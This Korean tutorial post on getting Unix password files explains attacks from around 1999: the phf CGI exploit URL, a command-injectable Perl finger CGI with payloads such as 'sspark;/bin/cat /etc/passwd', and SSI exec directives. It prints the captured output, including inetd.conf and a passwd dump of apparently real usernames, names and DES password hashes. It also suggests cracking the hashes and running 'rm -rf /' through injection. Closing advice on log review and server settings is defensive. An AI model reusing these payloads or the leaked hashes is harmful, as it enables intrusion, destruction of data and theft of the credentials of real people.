강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

패스워드파일 입수하는 방법

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문

icon01.giftitle11.gif

1. 패스워드를 입수하는 첫 번째 방법(시스템에 계정이 있을경우)

 

이 방법은 가장 흔한 방법으로 해당 시스템에 계정이 있을 경우에 /etc/passwd파일을 cat이나 cp등의 명령어를 이용하여 입수하는 것입니다.

그러나 만약 시스템이 shadow패스워드를 사용하고 있다면 계정정보는 얻을 수 있지만 패스워드는 얻을 수 없습니다. shadow패스워드를 사용하면 패스워드가 /etc/passwd에 존재하는 것이 아니라 /etc/shadow에 존재하며 /etc/shadow파일은 root만이 볼 수 있기 때문입니다.

  

2. 패스워드를 입수하는 두 번째 방법(웹으로 보는 방법)

이 방법은 시스템에 계정이 없을 경우에 주로 사용하는 방법으로서 /usr/local/apache/cgi-bin에 phf라는 프로그램이 있어야만 사용가능합니다. 물론 phf라는 프로그램의 퍼미션에 실행권한(웹서버의 실행권한)이 있어야만 가능한 것입니다.

이 phf라는 프로그램이 있고 실행퍼미션이 있을 경우에 다음과 같은 방법으로 웹브라우즈로 패스워드를 볼 수 있습니다.

http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

이는 다음과 같은 쉘명령어와 같은 것입니다.

=> $cat /etc/passwd

 

만약 cat이란 명령어에 패스가 잡혀있지 않다면 다음과 같이 해볼 수도 있습니다.

http://xxx.org/cgi-bin/phf/?Qalias=x%0a/bin/cat%20/etc/passwd

=> $cat /etc/passwd

 즉, 몇 번의 시도로 가능한 것이 되겠지요..

 

3. 패스워드를 입수하는 세 번째 방법(Perl프로그램을 이용한 방법)

 

다음의 예는 CGI를 이용하여 웹브라우즈에서 시스템 내부를 얼마든지 볼수 있다는 것을 보여준 것이다.

 

예1) A 시스템의 패스워드파일을 로딩한 예

먼저, passwd.html을 다음과 같이 만든다.

 

<html>
<head>
<title>finger</title>
</head>
<body>
finger<br>
<form method="get" action="./finger.cgi">
who:<input type="text" name="user"><br>
<input type="submit">
<input type="reset">
</form>
</body>
</html>

 

그리고 여기에 쓰이는 passwd.cgi라는 파일을 다음과 같이 코딩했다.

#!/bin/perl
$buffer=$ENV{'QUERY_STRING'};
@pairs = split(/&/, $buffer);
foreach $pair (@pairs)
{
    ($name, $value) = split(/=/, $pair);
    $value =~ tr/+/ /;
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg;
    $FORM{$name} = $value;
}
print("Content-type: text/plain ");
print `finger $FORM{"user"}`;

 

그런다음 웹브라우즈에서 다음과 같이 로딩을 하면 시스템에 일반유저가 읽기 권한이 있다면 어떤 파일이든지 웹브라우즈에서 확인이 가능하다.

 

URL : http://A.jindong.net/~sspark09/security/passwd.html

 

에서 입력창에서 다음과 같이 입력하면

sspark09;/bin/cat /etc/inetd.conf

위의 결과 웹브라우즈에는 다음과 같은 결과를 보여준다.

login name: sspark09               In real life: Park sung soo

Directory: /staff/sspark09         Shell: /bin/csh

On since Dec  4 10:39:46 on pts/9 from webserver.kornet.nm.kr

2 minutes 29 seconds Idle Time

Mail last read Sat Dec  4 09:17:51 1999

No Plan.

login name: sspark09               In real life: Park sung soo

Directory: /staff/sspark09         Shell: /bin/csh

On since Dec  4 10:48:11 on pts/17 from webserver.kornet.nm.kr

15 minutes Idle Time

ftp   stream  tcp     nowait  root    /usr/sbin/in.ftpd       in.ftpd

##ftp     stream  tcp     nowait  root    /etc/tcpd        in.ftpd

##telnet    stream  tcp     nowait  root    /usr/sbin/in.telnetd    in.telnetd

telnet  stream  tcp     nowait  root    /etc/tcpd         in.telnetd

name    dgram   udp     wait    root    /usr/sbin/in.tnamed  in.tnamed

shell   stream  tcp     nowait  root    /usr/sbin/in.rshd    in.rshd

#login  stream  tcp     nowait  root    /usr/sbin/in.rlogind  in.rlogind

login   stream  tcp     nowait  root    /etc/tcpd       in.rlogind

##exec  stream  tcp     nowait  root    /usr/sbin/in.rexecd  in.rexecd

comsat  dgram   udp     wait    root    /usr/sbin/in.comsat  in.comsat

talk    dgram   udp     wait    root    /usr/sbin/in.talkd   in.talkd

time    stream  tcp     nowait  root    internal

time    dgram   udp     wait    root    internal

echo    stream  tcp     nowait  root    internal

echo    dgram   udp     wait    root    internal

discard stream  tcp     nowait  root    internal

discard dgram   udp     wait    root    internal

#daytime        stream  tcp     nowait  root    internal

#daytime        dgram   udp     wait    root    internal

chargen stream  tcp     nowait  root    internal

chargen dgram   udp     wait    root    internal

rpc.rusersd

536870916/1     dgram   rpc/udp wait root /opt/SUNWvts/bin/vtsk /opt/SUNWvts/bin/vtsk

# TME 10 Framework daemon

objcall  dgram   udp wait    root    /etc/Tivoli/oserv.rc  /etc/Tivoli/oserv.rc inetd

# rpc.metad

100229/1        tli     rpc/circuit_n   wait    root    /usr/opt/SUNWmd/sbin/rpc.metad  rpc.metad

# rpc.metamhd

100230/1        tli     rpc/circuit_n   wait    root    /usr/opt/SUNWmd/sbin/rpc.metamhd        

rpc.metamhd

#pop3   stream  tcp     nowait  root /usr/local/lib/popper popper -s

pop3     stream  tcp     nowait  root /usr/local/lib/ipop3d ipop3d

imap    stream  tcp     nowait  root /usr/local/lib/imapd  imapd

ident   stream  tcp  nowait  sys   /usr/local/sbin/in.identd in.identd

#

 

예2) 다음은 다른 시스템에서 passwd 파일을 웹브라우즈로 불러본 예이다.

 passwd.html과 passwd.cgi는 예1의 경우와 같다. 다만 perl의 경로만 수정해 주면 사용할 수 있다.

 URL : webserver.jindong.net/~sspark/passwd.html 과 같이 로딩을 한후입력창에 sspark;/bin/cat /etc/passwd 와 같이 입력하면 아래의 결과처럼 웹브라우즈로 passwd의 내용을 볼 수 있게된다.

 

login name: hongten                     

Directory: /home/hongten                Shell: /bin/csh

Last login Fri Dec  3 15:29 on ttyp9

No Plan.

root:JoI9lg4IyJue.:0:1:Test User,12,6541254,6542544:/:/bin/csh

mink:vOKYsx34lfpQU:299:200::/home/mink:/bin/csh

cklim:TyCzpcZQa/gHw:209:30:Lim ChaiKwon:/staff/cklim:/bin/csh

webchat:QPUp7GUNaGRf.:210:50:Neowiz:/user1/webchat:/bin/csh

digital:06AVas5a3Ha4Y:304:15:digital korea:/usr/users/digital:/bin/sh

ntkisdn:aAl9sLamIjgMw:305:50:Newteck:/user1/ntkisdn:/bin/csh

lws428:Vo0BeuNLt3RFg:307:50:Pyunghwa:/user1/lws428:/bin/csh

artinfo:CX/68XtLACKAk:310:50:ARTINFO:/user1/artinfo:/bin/csh

hmaster:M09rAKZNU3TpY:316:50:hmaster:/user1/hmaster:/bin/csh

wonshin:uMXkb855/ldmo:319:50:wonshin:/user1/wonshin:/bin/csh

micronic:ex1XZfJbK5Il.:322:50:micronic:/user1/micronic:/bin/csh

gana:s2onKaY98bUQg:219:50:GANA,,,:/user1/gana:/bin/csh

ycpark:V039rGY4qf5O.:326:15:Young-Chul Park:/usr/users/ycpark:/bin/csh

bingo:pVN7DUxVrUjQo:211:50::/user1/bingo:/bin/csh

women:WvhhwNBYiJZCs:221:50::/user1/kncw:/bin/csh

swpark:OWxGbYJhoozOE:323:15:swpark:/usr/users/swpark:/bin/csh

israel:foEkHuc9a7DtQ:224:50::/user1/israel:/bin/csh

catvjbc:syj3O8nCSSgMM:228:50::/user1/catvjbc:/bin/csh

kcdc:R8CwQfJXr0arc:235:50::/user1/kcdc:/bin/csh

hkas:nzwQYM77Wyg8U:241:50::/user1/hkas:/bin/csh

myskim:TG7xEjnkXJ8Xs:244:50::/user1/myskim:/bin/csh

kappd:Vin1IFucDmXAw:248:50::/user1/kappd:/bin/csh

konggan:osPqVo0uzyZb6:250:50::/user1/konggan:/bin/csh

 

 

정리를 해보도록 하자.

 

쉘명령어의 실행권한은 웹서버의 자식프로세스의 실행권한이다. 그런데 멍청한 관리자가 이 자식프로세스의 실행권한을 root로 해 두었다면 어떤 결과를 초래할 수 있을까?

위의 예에서 "sspark;rm -rf /"와 같은 명령어가 root의 계정으로 시스템에서 실행되게 할 수 있다. 바로 웹브라우즈를 통해서 이런 작업이 가능해진다는 의미이다. 이 또한 얼마나 엄청난 실수인가?  보통 웹서버를 설치할 때 아무 생각없이 다음과 같이 해 두었다면 

User root
Group root

이로 인해 발생하는 책임은 누구에게 있는가?

 

보통은 다음과 같이 해두게 된다.

User nobody
Group nobody

nobody로 해 두었다고 해서 안심할 것은 못된다. nobody 계정으로도 위와 같은 작업은 얼마든지 가능하기 때문이다.  

그리고 가져온 패스워드 파일을 Crack등의 툴을 이용하여 시스템 사용자의 패스워드는 얼마든지 알아낼 수가 있는 것이다.

시스템 담당들은 www의 보안에 얼마나 신경을 써야 하는지 알 수 있을 것이다.

경각심을 조금만 더 가졌으면 한다. 그런 의미에서 시스템 담당들이 체크해야할 것은 첫 번째로 시스템 로그파일과 웹로그파일이다.  시스템로그파일에 대해서는 다음에 설명하기로 하고 여기서는 웹로그파일의 점검예를 보도록 하자.   위와 같은 작업을 했을 경우에 다음과 같은 로그를 웹로그(access)에서 확인 할 수 있다.

 

[webserver:/ns3_log/log2 8 ] cat access | grep passwd

168.126.62.78 - - [04/Dec/1999:10:13:54 +0900] "GET /~sspark/finger.cgi?user=ssp

ark%3B+%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net

168.126.62.78 - - [04/Dec/1999:10:14:19 +0900] "GET /~sspark/finger.cgi?user=ssp

ark%3B+%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net

168.126.62.78 - - [04/Dec/1999:10:14:34 +0900] "GET /~sspark/finger.cgi?user=%2F

bin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net

168.126.62.78 - - [04/Dec/1999:10:18:45 +0900] "GET /~sspark/finger.cgi?user=%2F

bin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net

168.126.62.76 - - [04/Dec/1999:10:22:28 +0900] "GET /~sspark/finger.cgi?user=min

oz%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.1" 200 301693 webserver.jindong.net

168.126.62.76 - - [04/Dec/1999:10:23:06 +0900] "GET /~sspark/finger.cgi?user=%3B

%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.1" 200 302483 webserver.jindong.net

168.126.62.76 - - [04/Dec/1999:10:22:58 +0900] "GET /~sspark/finger.cgi?user=%2F

bin%2Fcat+%2Fetc%2Fpasswd HTTP/1.1" 200 88 webserver.jindong.net

168.126.62.90 - - [04/Dec/1999:10:24:47 +0900] "GET /~sspark/finger.cgi?user=hon

gten%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 301603 webserver.jindong.net

168.126.62.90 - - [04/Dec/1999:10:28:04 +0900] "GET /~sspark/finger.cgi?user=hon

gten%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 301660 webserver.jindong.net

168.126.62.78 - - [04/Dec/1999:11:15:12 +0900] "GET /~sspark/finger.cgi?user=hon

gten%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 301666 webserver.jindong.net

 

잘살펴 보면 passwd 파일과 inetd.conf 파일을 어디에서(IP Address) 웹브라우즈로 보았다는 것을 알 수 있다. 정기적으로 이런 로그파일을 점검해 보아야 한다.

 

4. 패스워드를 입수하는 네 번째방법(SSI의 exec 명령어를 이용하는 방법)

 

  SSI란 Server Side Includes의 약자로서 웹페이지 내에서 CGI를 사용하지 않고서도 방문자 카운터, 최종변경일 및 CGI환경변수의 사용등을 간단히 사용할 수 있게 해주는 것이다.

SSI는 웹문서를 간단히 만들기 위해 생겨났으며 태그들 사이에 삽입하여 간단히 사용할 수 있다.

 

  SSI의 실행경로를 알아보자. 웹서버에 있는 HTML문서는 태그(Tag)까지 그대로 방문자의 웹브라우즈로 전송이 되며 웹브라우즈(클라이언트)에서 태그가 해석되어 그 결과를 보여준다. 다시 말해서 일반 HTML문서의 실행은 웹브라우즈에서 행해지게 된다. 반면 SSI 코드는 웹브라우즈로 전송되기 전에 웹서버에서 변환되어 그 결과를 웹브라우즈로 보낸다. 즉 SSI코드의 실행은 웹서버에서 행해지게 된다는 것이다.

 

간단한 예를 들어보자.

<html>
<head>
<title>SSI의 간단한 사용예</title>
</head>
<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">
<font size="4"><b>SSI의 간단한 사용예</b></font><p>
<p>
저희 사이트를 방문해 주셔서 감사합니다.<p>
방문하신분의 정보를 간단하게 확인하겠습니다.<p>
1.방문하신 날짜는<!--#echo var="DATE_LOCAL" -->입니다.<p>
2.방문자님의 IP Address는 <!--#echo var="REMOTE_ADDR" -->입니다.<p>
3.방문자께서 사용하신 웹브라우즈는 <!--#echo var="HTTP_USER_AGENT" -->입니다.<p>
4.이 문서의 최종 수정일은 <!--#echo var="LAST_MODIFIED" -->입니다. <p>
</body>
</html>

  이들 명령어들은 HTML 태그안에서 사용 되는데 사용하는 형식은 다음과 같다.

 

        <!--#command tag1="value1" tag2="value2" -->

 

  HTML의 주석태그의 형식을 그대로 사용하며 뒷부분의 --> 앞에는 반드시 한 개이상의 공간(space)이 있어야 한다.

 

예1) 지정한 위치에서 sample.cgi라는 CGI 스크립트를 실행하려고 한다.

SSI 코드 : <!--#exec cgi="finger.cgi" -->

 

예2) 해당파일이 존재하는 디렉토리의 정보(파일등)를 확인하려한다.

SSI 코드 : <!--#exec cmd="ls -l" -->

 

여기서 언급하고자 하는 것은 SSI의 코드중 exec라는 명령어에 대한 것이다. 위의 예를 보면 알겠지만  cmd="시스템 명령어" 이 부분에 시스템 명령어를 입력하면 웹데몬이 실행된 계정에서 사용할 수 있는 모든 명령어의 실행이 가능하다.

이런 사태를 미연에 방지하기 위해서는 아파치와 같은 웹서버의 설정파일(httpd.conf)에 NoexecCGI라는 옵션을 해주는 것이 좋습니다.

실제의 예를 보도록 하자.

[webserver:/user1/sspark/html 10 ] cat ssitest.shtml

<html>
<head>
<title>SSI의 간단한 사용예</title>
</head>
<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">
<font size="4"><b>SSI의 간단한 사용예</b></font><p>
<p>
1.<!--#exec cmd="ls -l /etc/passwd" -->입니다.<p>
2.<!--#exec cmd="cat /etc/inetd.conf" -->입니다.<p>
3.<!--#exec cmd="ls -l /etc" -->입니다.<p>
4.<!--#exec cgi="finger.cgi" -->입니다. <p>
</body>
</html>

 

위의 결과는 여러분들이 예측을 해보기 바란다. (조금은 황당한 결과일지 모르지만)

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,041 명
  • 현재 강좌수 :  35,855 개
  • 현재 접속자 :  106 명